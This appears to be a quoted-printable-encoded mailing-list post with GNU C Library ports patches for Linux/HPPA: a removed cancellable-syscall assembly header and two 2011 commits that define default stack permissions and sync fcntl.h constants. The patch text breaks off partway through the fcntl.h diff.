-/* cancellable system calls for Linux/HPPA.
- =A0 Copyright (C) 2003 Free Software Foundation, Inc.
- =A0 This file is part of the GNU C Library.
- =A0 Contributed by Carlos O'Donell <carlos@baldric.uwo.ca>, 2003.
-
- =A0 The GNU C Library is free software; you can redistribute it and/o=
r
- =A0 modify it under the terms of the GNU Lesser General Public
- =A0 License as published by the Free Software Foundation; either
- =A0 version 2.1 of the License, or (at your option) any later version=
=2E
-
- =A0 The GNU C Library is distributed in the hope that it will be usef=
ul,
- =A0 but WITHOUT ANY WARRANTY; without even the implied warranty of
- =A0 MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. =A0See the G=
NU
- =A0 Lesser General Public License for more details.
-
- =A0 You should have received a copy of the GNU Lesser General Public
- =A0 License along with the GNU C Library; if not, write to the Free
- =A0 Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
- =A0 02111-1307 USA. =A0*/
-
-#include <sysdep.h>
-#include <tls.h>
-#ifndef __ASSEMBLER__
-# include <linuxthreads/internals.h>
-#endif
-
-#if !defined NOT_IN_libc || defined IS_IN_libpthread || defined IS_IN_=
librt
-
-# ifndef NO_ERROR
-# =A0define NO_ERROR -0x1000
-# endif
-
-/* The syscall cancellation mechanism requires userspace
- =A0 assistance, the following code does roughly this:
-
- =A0 =A0 =A0 do arguments (read arg5 and arg6 to registers)
- =A0 =A0 =A0 setup frame
-
- =A0 =A0 =A0 check if there are threads, yes jump to pseudo_cancel
-
- =A0 =A0 =A0 unthreaded:
- =A0 =A0 =A0 =A0 =A0 =A0 =A0 syscall
- =A0 =A0 =A0 =A0 =A0 =A0 =A0 check syscall return (jump to pre_end)
- =A0 =A0 =A0 =A0 =A0 =A0 =A0 set errno
- =A0 =A0 =A0 =A0 =A0 =A0 =A0 set return to -1
- =A0 =A0 =A0 =A0 =A0 =A0 =A0 (jump to pre_end)
-
- =A0 =A0 =A0 pseudo_cancel:
- =A0 =A0 =A0 =A0 =A0 =A0 =A0 cenable
- =A0 =A0 =A0 =A0 =A0 =A0 =A0 syscall
- =A0 =A0 =A0 =A0 =A0 =A0 =A0 cdisable
- =A0 =A0 =A0 =A0 =A0 =A0 =A0 check syscall return (jump to pre_end)
- =A0 =A0 =A0 =A0 =A0 =A0 =A0 set errno
- =A0 =A0 =A0 =A0 =A0 =A0 =A0 set return to -1
-
- =A0 =A0 =A0 pre_end
- =A0 =A0 =A0 =A0 =A0 =A0 =A0 restore stack
-
- =A0 =A0 =A0 It is expected that 'ret' and 'END' macros will
- =A0 =A0 =A0 append an 'undo arguments' and 'return' to the
- =A0 =A0 =A0 this PSEUDO macro. */
-
-# undef PSEUDO
-# define PSEUDO(name, syscall_name, args) =A0 =A0 =A0 =A0 =A0 =A0 =A0 =
=A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0\
- =A0 =A0 =A0 ENTRY (name) =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =
=A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0\
- =A0 =A0 =A0 DOARGS_##args =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0 =A0 ASM_LINE_SEP =A0 =A0\
- =A0 =A0 =A0 copy TREG, %r1 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0 =A0ASM_LINE_SEP =A0 =A0\
- =A0 =A0 =A0 copy %sp, TREG =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0 =A0ASM_LINE_SEP =A0 =A0\
- =A0 =A0 =A0 stwm %r1, 64(%sp) =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0 ASM_LINE_SEP =A0 =A0\
- =A0 =A0 =A0 stw %rp, -20(%sp) =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0 ASM_LINE_SEP =A0 =A0\
- =A0 =A0 =A0 stw TREG, -4(%sp) =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0 ASM_LINE_SEP =A0 =A0\
- =A0 =A0 =A0 /* Done setting up frame, continue... */ =A0 =A0 =A0 =A0A=
SM_LINE_SEP =A0 =A0\
- =A0 =A0 =A0 SINGLE_THREAD_P =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0 ASM_LINE_SEP =A0 =A0\
- =A0 =A0 =A0 cmpib,<>,n 0,%ret0,L(pseudo_cancel) =A0 =A0 =A0 =A0 =A0 =A0=
 ASM_LINE_SEP =A0 =A0\
-L(unthreaded): =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0 =A0 ASM_LINE_SEP =A0 =A0\
- =A0 =A0 =A0 /* Save r19 */ =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0 =A0ASM_LINE_SEP =A0 =A0\
- =A0 =A0 =A0 SAVE_PIC(TREG) =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0 =A0ASM_LINE_SEP =A0 =A0\
- =A0 =A0 =A0 /* Do syscall, delay loads # */ =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 ASM_LINE_SEP =A0 =A0\
- =A0 =A0 =A0 ble =A00x100(%sr2,%r0) =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0ASM_LINE_SEP =A0 =A0\
- =A0 =A0 =A0 ldi SYS_ify (syscall_name), %r20 /* delay */ =A0 =A0ASM_L=
INE_SEP =A0 =A0\
- =A0 =A0 =A0 ldi NO_ERROR,%r1 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =
=A0 =A0 =A0 =A0 =A0 =A0ASM_LINE_SEP =A0 =A0\
- =A0 =A0 =A0 cmpb,>>=3D,n %r1,%ret0,L(pre_end) =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 ASM_LINE_SEP =A0 =A0\
- =A0 =A0 =A0 /* Restore r19 from TREG */ =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 ASM_LINE_SEP =A0 =A0\
- =A0 =A0 =A0 LOAD_PIC(TREG) /* delay */ =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0ASM_LINE_SEP =A0 =A0\
- =A0 =A0 =A0 SYSCALL_ERROR_HANDLER =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 ASM_LINE_SEP =A0 =A0\
- =A0 =A0 =A0 /* Use TREG for temp storage */ =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 ASM_LINE_SEP =A0 =A0\
- =A0 =A0 =A0 copy %ret0, TREG /* delay */ =A0 =A0 =A0 =A0 =A0 =A0 =A0 =
=A0 =A0 =A0ASM_LINE_SEP =A0 =A0\
- =A0 =A0 =A0 /* OPTIMIZE: Don't reload r19 */ =A0 =A0 =A0 =A0 =A0 =A0 =
=A0 =A0ASM_LINE_SEP =A0 =A0\
- =A0 =A0 =A0 /* do a -1*syscall_ret0 */ =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0ASM_LINE_SEP =A0 =A0\
- =A0 =A0 =A0 sub %r0, TREG, TREG =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 ASM_LINE_SEP =A0 =A0\
- =A0 =A0 =A0 /* Store into errno location */ =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 ASM_LINE_SEP =A0 =A0\
- =A0 =A0 =A0 stw TREG, 0(%sr0,%ret0) =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 ASM_LINE_SEP =A0 =A0\
- =A0 =A0 =A0 b L(pre_end) =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =
=A0 =A0 =A0 =A0 =A0 =A0 =A0ASM_LINE_SEP =A0 =A0\
- =A0 =A0 =A0 /* return -1 as error */ =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =
=A0 =A0 =A0 =A0ASM_LINE_SEP =A0 =A0\
- =A0 =A0 =A0 ldo -1(%r0), %ret0 /* delay */ =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0ASM_LINE_SEP =A0 =A0\
-L(pseudo_cancel): =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =
=A0 =A0 =A0 =A0 =A0 =A0ASM_LINE_SEP =A0 =A0\
- =A0 =A0 =A0 PUSHARGS_##args /* Save args */ =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 ASM_LINE_SEP =A0 =A0\
- =A0 =A0 =A0 /* Save r19 into TREG */ =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =
=A0 =A0 =A0 =A0ASM_LINE_SEP =A0 =A0\
- =A0 =A0 =A0 CENABLE /* FUNC CALL */ =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 ASM_LINE_SEP =A0 =A0\
- =A0 =A0 =A0 SAVE_PIC(TREG) /* delay */ =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0ASM_LINE_SEP =A0 =A0\
- =A0 =A0 =A0 /* restore syscall args */ =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0ASM_LINE_SEP =A0 =A0\
- =A0 =A0 =A0 POPARGS_##args =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0 =A0ASM_LINE_SEP =A0 =A0\
- =A0 =A0 =A0 /* save mask from cenable (use stub rp slot) */ ASM_LINE_=
SEP =A0 =A0\
- =A0 =A0 =A0 stw %ret0, -24(%sp) =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 ASM_LINE_SEP =A0 =A0\
- =A0 =A0 =A0 /* ... SYSCALL ... */ =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 ASM_LINE_SEP =A0 =A0\
- =A0 =A0 =A0 ble 0x100(%sr2,%r0) =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 ASM_LINE_SEP =A0 =A0\
- =A0 =A0 =A0 ldi SYS_ify (syscall_name), %r20 /* delay */ =A0 =A0ASM_L=
INE_SEP =A0 =A0\
- =A0 =A0 =A0 /* ............... */ =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 ASM_LINE_SEP =A0 =A0\
- =A0 =A0 =A0 LOAD_PIC(TREG) =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0 =A0ASM_LINE_SEP =A0 =A0\
- =A0 =A0 =A0 /* pass mask as arg0 to cdisable */ =A0 =A0 =A0 =A0 =A0 =A0=
 ASM_LINE_SEP =A0 =A0\
- =A0 =A0 =A0 ldw -24(%sp), %r26 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0ASM_LINE_SEP =A0 =A0\
- =A0 =A0 =A0 CDISABLE =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =
=A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0ASM_LINE_SEP =A0 =A0\
- =A0 =A0 =A0 stw %ret0, -24(%sp) /* delay */ =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 ASM_LINE_SEP =A0 =A0\
- =A0 =A0 =A0 /* Restore syscall return */ =A0 =A0 =A0 =A0 =A0 =A0 =A0 =
=A0 =A0 =A0ASM_LINE_SEP =A0 =A0\
- =A0 =A0 =A0 ldw -24(%sp), %ret0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 ASM_LINE_SEP =A0 =A0\
- =A0 =A0 =A0 /* compare error */ =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 ASM_LINE_SEP =A0 =A0\
- =A0 =A0 =A0 ldi NO_ERROR,%r1 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =
=A0 =A0 =A0 =A0 =A0 =A0ASM_LINE_SEP =A0 =A0\
- =A0 =A0 =A0 /* branch if no error */ =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =
=A0 =A0 =A0 =A0ASM_LINE_SEP =A0 =A0\
- =A0 =A0 =A0 cmpb,>>=3D,n %r1,%ret0,L(pre_end) =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 ASM_LINE_SEP =A0 =A0\
- =A0 =A0 =A0 LOAD_PIC(TREG) =A0/* cond. nullify */ =A0 =A0 =A0 =A0 =A0=
 =A0 ASM_LINE_SEP =A0 =A0\
- =A0 =A0 =A0 copy %ret0, TREG /* save syscall return */ =A0 =A0 =A0ASM=
_LINE_SEP =A0 =A0\
- =A0 =A0 =A0 SYSCALL_ERROR_HANDLER =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 ASM_LINE_SEP =A0 =A0\
- =A0 =A0 =A0 /* make syscall res value positive */ =A0 =A0 =A0 =A0 =A0=
 ASM_LINE_SEP =A0 =A0\
- =A0 =A0 =A0 sub %r0, TREG, TREG =A0 =A0 /* delay */ =A0 =A0 =A0 =A0 =A0=
 =A0 ASM_LINE_SEP =A0 =A0\
- =A0 =A0 =A0 /* No need to LOAD_PIC */ =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 ASM_LINE_SEP =A0 =A0\
- =A0 =A0 =A0 /* store into errno location */ =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 ASM_LINE_SEP =A0 =A0\
- =A0 =A0 =A0 stw TREG, 0(%sr0,%ret0) =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 ASM_LINE_SEP =A0 =A0\
- =A0 =A0 =A0 /* return -1 */ =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0 ASM_LINE_SEP =A0 =A0\
- =A0 =A0 =A0 ldo -1(%r0), %ret0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0ASM_LINE_SEP =A0 =A0\
-L(pre_end): =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0 =A0 =A0ASM_LINE_SEP =A0 =A0\
- =A0 =A0 =A0 /* Restore rp before exit */ =A0 =A0 =A0 =A0 =A0 =A0 =A0 =
=A0 =A0 =A0ASM_LINE_SEP =A0 =A0\
- =A0 =A0 =A0 ldw -84(%sr0,%sp), %rp =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0ASM_LINE_SEP =A0 =A0\
- =A0 =A0 =A0 /* Undo frame */ =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =
=A0 =A0 =A0 =A0 =A0 =A0ASM_LINE_SEP =A0 =A0\
- =A0 =A0 =A0 ldwm -64(%sp),TREG =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0ASM_LINE_SEP =A0 =A0\
- =A0 =A0 =A0 /* No need to LOAD_PIC */ =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 ASM_LINE_SEP
-
-/* Save arguments into our frame */
-# define PUSHARGS_0 =A0 =A0/* nothing to do */
-# define PUSHARGS_1 =A0 =A0PUSHARGS_0 stw %r26, -36(%sr0,%sp) =A0 =A0 =
=A0ASM_LINE_SEP
-# define PUSHARGS_2 =A0 =A0PUSHARGS_1 stw %r25, -40(%sr0,%sp) =A0 =A0 =
=A0ASM_LINE_SEP
-# define PUSHARGS_3 =A0 =A0PUSHARGS_2 stw %r24, -44(%sr0,%sp) =A0 =A0 =
=A0ASM_LINE_SEP
-# define PUSHARGS_4 =A0 =A0PUSHARGS_3 stw %r23, -48(%sr0,%sp) =A0 =A0 =
=A0ASM_LINE_SEP
-# define PUSHARGS_5 =A0 =A0PUSHARGS_4 stw %r22, -52(%sr0,%sp) =A0 =A0 =
=A0ASM_LINE_SEP
-# define PUSHARGS_6 =A0 =A0PUSHARGS_5 stw %r21, -56(%sr0,%sp) =A0 =A0 =
=A0ASM_LINE_SEP
-
-/* Bring them back from the stack */
-# define POPARGS_0 =A0 =A0 /* nothing to do */
-# define POPARGS_1 =A0 =A0 POPARGS_0 ldw -36(%sr0,%sp), %r26 =A0 =A0 =A0=
 ASM_LINE_SEP
-# define POPARGS_2 =A0 =A0 POPARGS_1 ldw -40(%sr0,%sp), %r25 =A0 =A0 =A0=
 ASM_LINE_SEP
-# define POPARGS_3 =A0 =A0 POPARGS_2 ldw -44(%sr0,%sp), %r24 =A0 =A0 =A0=
 ASM_LINE_SEP
-# define POPARGS_4 =A0 =A0 POPARGS_3 ldw -48(%sr0,%sp), %r23 =A0 =A0 =A0=
 ASM_LINE_SEP
-# define POPARGS_5 =A0 =A0 POPARGS_4 ldw -52(%sr0,%sp), %r22 =A0 =A0 =A0=
 ASM_LINE_SEP
-# define POPARGS_6 =A0 =A0 POPARGS_5 ldw -56(%sr0,%sp), %r21 =A0 =A0 =A0=
 ASM_LINE_SEP
-
-# ifdef IS_IN_libpthread
-# =A0ifdef PIC
-# =A0 define CENABLE .import __pthread_enable_asynccancel,code ASM_LIN=
E_SEP \
- =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 bl __pthread_enable_async=
cancel,%r2 ASM_LINE_SEP
-# =A0 define CDISABLE .import __pthread_disable_asynccancel,code ASM_L=
INE_SEP \
- =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 bl __pthread_disable_asyn=
ccancel,%r2 ASM_LINE_SEP
-# =A0else
-# =A0 define CENABLE .import __pthread_enable_asynccancel,code ASM_LIN=
E_SEP \
- =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 bl __pthread_enable_async=
cancel,%r2 ASM_LINE_SEP
-# =A0 define CDISABLE .import __pthread_disable_asynccancel,code ASM_L=
INE_SEP \
- =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 bl __pthread_disable_asyn=
ccancel,%r2 ASM_LINE_SEP
-# =A0endif
-# elif !defined NOT_IN_libc
-# =A0ifdef PIC
-# =A0 define CENABLE .import __libc_enable_asynccancel,code ASM_LINE_S=
EP \
- =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 bl __libc_enable_asynccan=
cel,%r2 ASM_LINE_SEP
-# =A0 define CDISABLE =A0 =A0.import __libc_disable_asynccancel,code A=
SM_LINE_SEP \
- =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 bl __libc_disable_asyncca=
ncel,%r2 ASM_LINE_SEP
-# =A0else
-# =A0 define CENABLE .import __libc_enable_asynccancel,code ASM_LINE_S=
EP \
- =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 bl __libc_enable_asynccan=
cel,%r2 ASM_LINE_SEP
-# =A0 define CDISABLE =A0 =A0.import __libc_disable_asynccancel,code A=
SM_LINE_SEP \
- =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 bl __libc_disable_asyncca=
ncel,%r2 ASM_LINE_SEP
-# =A0endif
-# else
-# =A0ifdef PIC
-# =A0 define CENABLE .import __librt_enable_asynccancel,code ASM_LINE_=
SEP \
- =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 bl __librt_enable_asyncca=
ncel,%r2 ASM_LINE_SEP
-# =A0 define CDISABLE .import __librt_disable_asynccancel,code ASM_LIN=
E_SEP \
- =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 bl __librt_disable_asyncc=
ancel,%r2 ASM_LINE_SEP
-# =A0else
-# =A0 define CENABLE .import __librt_enable_asynccancel,code ASM_LINE_=
SEP \
- =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 bl __librt_enable_asyncca=
ncel,%r2 ASM_LINE_SEP
-# =A0 define CDISABLE .import __librt_disable_asynccancel,code ASM_LIN=
E_SEP \
- =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 bl __librt_disable_asyncc=
ancel,%r2 ASM_LINE_SEP
-# =A0endif
-# endif
-
-/* p_header.multiple_threads is +12 from the pthread_descr struct star=
t,
- =A0 We could have called __get_cr27() but we really want less overhea=
d */
-# define MULTIPLE_THREADS_OFFSET 0xC
-
-/* cr27 has been initialized to 0x0 by kernel */
-# define NO_THREAD_CR27 0x0
-
-# ifdef IS_IN_libpthread
-# =A0define __local_multiple_threads __pthread_multiple_threads
-# elif !defined NOT_IN_libc
-# =A0define __local_multiple_threads __libc_multiple_threads
-# else
-# =A0define __local_multiple_threads __librt_multiple_threads
-# endif
-
-# ifndef __ASSEMBLER__
-# =A0if !defined NOT_IN_libc || defined IS_IN_libpthread
-extern int __local_multiple_threads attribute_hidden;
-# =A0else
-extern int __local_multiple_threads;
-# =A0endif
-# =A0define SINGLE_THREAD_P __builtin_expect (__local_multiple_threads=
 =3D=3D 0, 1)
-# else
-/* This ALT version requires newer kernel support */
-# =A0define SINGLE_THREAD_P_MFCTL
=A0 =A0 =A0 =A0 =A0\
- =A0 =A0 =A0 mfctl %cr27, %ret0
ASM_LINE_SEP =A0 =A0\
- =A0 =A0 =A0 cmpib,=3D NO_THREAD_CR27,%ret0,L(stp)
ASM_LINE_SEP =A0 =A0\
- =A0 =A0 =A0 nop
ASM_LINE_SEP =A0 =A0\
- =A0 =A0 =A0 ldw MULTIPLE_THREADS_OFFSET(%sr0,%ret0),%ret0
ASM_LINE_SEP =A0 =A0\
-L(stp):
=A0ASM_LINE_SEP
-# =A0ifdef PIC
-/* Slower version uses GOT to get value of __local_multiple_threads */
-# =A0 define SINGLE_THREAD_P
 =A0 =A0 =A0 =A0 \
- =A0 =A0 =A0 addil LT%__local_multiple_threads, %r19
ASM_LINE_SEP =A0 =A0\
- =A0 =A0 =A0 ldw RT%__local_multiple_threads(%sr0,%r1), %ret0
ASM_LINE_SEP =A0 =A0\
- =A0 =A0 =A0 ldw 0(%sr0,%ret0), %ret0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =
=A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0ASM_LINE_SEP
-# =A0else
-/* Slow non-pic version using DP */
-# =A0 define SINGLE_THREAD_P
 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 \
- =A0 =A0 =A0 addil LR%__local_multiple_threads-$global$,%r27
 ASM_LINE_SEP =A0 =A0\
- =A0 =A0 =A0 ldw RR%__local_multiple_threads-$global$(%sr0,%r1),%ret0
=A0ASM_LINE_SEP
-# =A0endif
-# endif
-#elif !defined __ASSEMBLER__
-
-/* This code should never be used but we define it anyhow. =A0*/
-# define SINGLE_THREAD_P (1)
-
-#endif
-/* !defined NOT_IN_libc || defined IS_IN_libpthread */

http://sources.redhat.com/git/gitweb.cgi?p=3Dglibc-ports.git;a=3Dcommit=
diff;h=3D9dd87de7ff43261dc83c74cc561ae392a405663f

commit 9dd87de7ff43261dc83c74cc561ae392a405663f
Author: Carlos O'Donell <carlos@systemhalted.org>
Date: =A0 Thu Oct 20 14:42:56 2011 -0400

=A0 =A0Define DEFAULT_STACK_PERMS.

=A0 =A0Signed-off-by: Carlos O'Donell <carlos@systemhalted.org>

diff --git a/ChangeLog.hppa b/ChangeLog.hppa
index 14abdee..2038513 100644
--- a/ChangeLog.hppa
+++ b/ChangeLog.hppa
@@ -1,5 +1,10 @@
=A02011-10-20 =A0Carlos O'Donell =A0<carlos@systemhalted.org>

+ =A0 =A0 =A0 * sysdeps/hppa/stackinfo.h: Update copyright year.
+ =A0 =A0 =A0 Include elf.h and define DEFAULT_STACK_PERMS.
+
+2011-10-20 =A0Carlos O'Donell =A0<carlos@systemhalted.org>
+
=A0 =A0 =A0 =A0* sysdeps/unix/sysv/linux/hppa/bits/fcntl.h: Synchronize
=A0 =A0 =A0 =A0with canonical fcntl.h.

diff --git a/sysdeps/hppa/stackinfo.h b/sysdeps/hppa/stackinfo.h
index 318de71..44929c4 100644
--- a/sysdeps/hppa/stackinfo.h
+++ b/sysdeps/hppa/stackinfo.h
@@ -1,4 +1,4 @@
-/* Copyright (C) 1999 Free Software Foundation, Inc.
+/* Copyright (C) 1999, 2011 Free Software Foundation, Inc.
=A0 =A0This file is part of the GNU C Library.

=A0 =A0The GNU C Library is free software; you can redistribute it and/=
or
@@ -22,6 +22,12 @@
=A0#ifndef _STACKINFO_H
=A0#define _STACKINFO_H =A0 1

+#include <elf.h>
+
+/* Default to an executable stack. =A0PF_X can be overridden if PT_GNU=
_STACK is
+ * present, but it is presumed absent. =A0*/
+#define DEFAULT_STACK_PERMS (PF_R|PF_W|PF_X)
+
=A0/* On PA the stack grows up. =A0*/
=A0#define _STACK_GROWS_UP =A0 =A0 =A0 =A01


http://sources.redhat.com/git/gitweb.cgi?p=3Dglibc-ports.git;a=3Dcommit=
diff;h=3D930046be6fedf95d9fce6548bf58ad5e33023d67

commit 930046be6fedf95d9fce6548bf58ad5e33023d67
Author: Carlos O'Donell <carlos@systemhalted.org>
Date: =A0 Thu Oct 20 14:37:02 2011 -0400

=A0 =A0Syncrhonize fcntl.h with canonical source.

=A0 =A0Update fcntl.h to match canonical i386 fcntl.h, but
=A0 =A0update constants to match hppa linux kernel values.

=A0 =A0Signed-off-by: Carlos O'Donell <carlos@systemhalted.org>

diff --git a/ChangeLog.hppa b/ChangeLog.hppa
index 41a779e..14abdee 100644
--- a/ChangeLog.hppa
+++ b/ChangeLog.hppa
@@ -1,5 +1,10 @@
=A02011-10-20 =A0Carlos O'Donell =A0<carlos@systemhalted.org>

+ =A0 =A0 =A0 * sysdeps/unix/sysv/linux/hppa/bits/fcntl.h: Synchronize
+ =A0 =A0 =A0 with canonical fcntl.h.
+
+2011-10-20 =A0Carlos O'Donell =A0<carlos@systemhalted.org>
+
=A0 =A0 =A0 =A0* sysdeps/hppa/fpu/fegetenv.c: Add hidden alias.
=A0 =A0 =A0 =A0* sysdeps/hppa/fpu/feupdateenv.c: Likewise.
=A0 =A0 =A0 =A0* sysdeps/hppa/fpu/ftestexcept.c: Likewise.
diff --git a/sysdeps/unix/sysv/linux/hppa/bits/fcntl.h
b/sysdeps/unix/sysv/linux/hppa/bits/fcntl.h
index a2c6482..8f42111 100644
--- a/sysdeps/unix/sysv/linux/hppa/bits/fcntl.h
+++ b/sysdeps/unix/sysv/linux/hppa/bits/fcntl.h
@@ -1,5 +1,5 @@
-/* O_*, F_*, FD_* bit values for Linux/HPPA.
- =A0 Copyright (C) 1995,1996,1997,1998,1999,2000,2002,2004
+/* O_*, F_*, FD_* bit values for Linux.
+ =A0 Copyright (C) 1995-1999, 2000, 2002, 2004, 2010, 2011
=A0 =A0Free Software Foundation, Inc.
=A0 =A0This file is part of the GNU C Library.

@@ -29,7 +29,7 @@


=A0/* open/fcntl - O_SYNC is only implemented on blocks devices and on =
files
- =A0 located on an ext2 file system */
+ =A0 located on a few file systems. =A0*/
=A0#define O_ACCMODE =A0 =A0 =A0 =A0 0003
=A0#define O_RDONLY =A0 =A0 =A0 =A0 =A0 =A000
=A0#define O_WRONLY =A0 =A0 =A0 =A0 =A0 =A001
@@ -46,13 +46,15 @@
=A0#define O_ASYNC =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 020000
=A0#define O_BLKSEEK =A0 =A0 =A000000100 /* HPUX only */

-#ifdef __USE_GNU
-# define O_DIRECT =A0 =A0 =A0000040000 /* Direct disk access. =A0*/
+#ifdef __USE_XOPEN2K8
=A0# define O_DIRECTORY =A0 000010000 /* Must be a directory. =A0*/
=A0# define O_NOFOLLOW =A0 =A0000000200 /* Do not follow links. =A0*/
-# define O_NOATIME =A0 =A0 004000000 /* Do not set atime. =A0*/
=A0# define O_CLOEXEC =A0 =A0 010000000 /* Set close_on_exec. =A0*/
=A0#endif
+#ifdef __USE_GNU
+# define O_DIRECT =A0 =A0 =A0 040000 /* Direct disk access. =A0*/
+# define O_NOATIME =A0 =A0 004000000 /* Do not set atime. =A0*/
+#endif

=A0/* For now Linux has synchronisity options for data and read operati=
ons.
=A0 =A0We define the symbols here but let them do the same as O_SYNC si=
nce
@@ -85,7 +87,7 @@
=A0#define F_SETLK64 =A0 =A0 =A09 =A0 =A0 =A0 /* Set record locking inf=
